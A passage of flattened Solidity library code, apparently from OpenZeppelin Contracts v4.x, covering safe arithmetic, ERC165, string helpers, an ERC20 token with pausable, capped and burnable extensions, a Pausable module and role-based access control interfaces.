* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
